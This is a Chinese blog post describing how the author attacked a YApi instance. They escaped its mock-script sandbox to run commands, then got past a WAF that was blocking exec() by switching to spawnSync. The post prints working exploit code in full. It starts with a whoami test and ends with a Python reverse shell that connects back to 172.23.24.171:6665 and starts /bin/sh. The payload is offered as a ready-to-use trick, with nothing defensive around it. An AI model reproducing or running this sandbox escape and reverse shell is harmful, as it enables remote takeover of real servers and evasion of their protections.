Yapi 代码执行waf绕过小技巧

  疫情在家办公,这时接到boss的电话说要做一个流量分析,老板发话干就干。对恶意告警分析差不多了,没事翻一翻流量,结果意外发现一个大宝贝!就这样开始了与Yapi的美丽邂逅。

高兴之余赶紧注册账户,写入恶意脚本。

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync(“whoami”)

  当激动的点击保存脚本的时候发现浏览器并没有反应,起初以为是管理员禁用了保存功能,后来随便保存一串字符结果显示保存成功,看看浏览器 ajax 请求原来是保存恶意脚本 的请求被拒绝了,怪不得恶意攻击的流量里没有发现这个资产,原来是有 waf 进行防御的。既然来了就不能放过,分段保存恶意脚本,经过一步一步的尝试最后定位被拦截是因为 识别到了 exec()。 该恶意脚本为 nodjs 脚本,翻一翻官方文档看到了以下内容:

原来最后那一行是起到了在windows上衍生.bat和.cmd文件的作用。
  既然child_process.execSync()被禁那尝试使用spaw()替代尝试是否可绕过。点击保存显示保存成功。赶紧访问保存的恶意脚本进行反弹shell结果vps半天没消息,就在怀疑该主机是否不出网的时候被叫吃中午饭了,暂放一阶段。
  吃完饭回来理了理思路,突然发现文档中exec()与spaw()语法是有区别的exec()可以直接行的命令和参数写进去比如.exec(ping 17 2 .2 3 .24.171 -c 4)而 span()只能 span(ping[‘17 2 .2 3 .24.171’,’-c’,’4’]),span()的命令和参数是分开的。
  用nc进行反弹结果等了个寂寞,用python进行反弹,点击保存并访问脚本,结果啪唧一下很突然:

最后的脚本

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

Poc=process.mainModule.require("child_process").spawnSync(‘python’[‘c’,’'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.23.24.171",6665));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'’])
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mingzhi61

你的打赏,是我创造最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值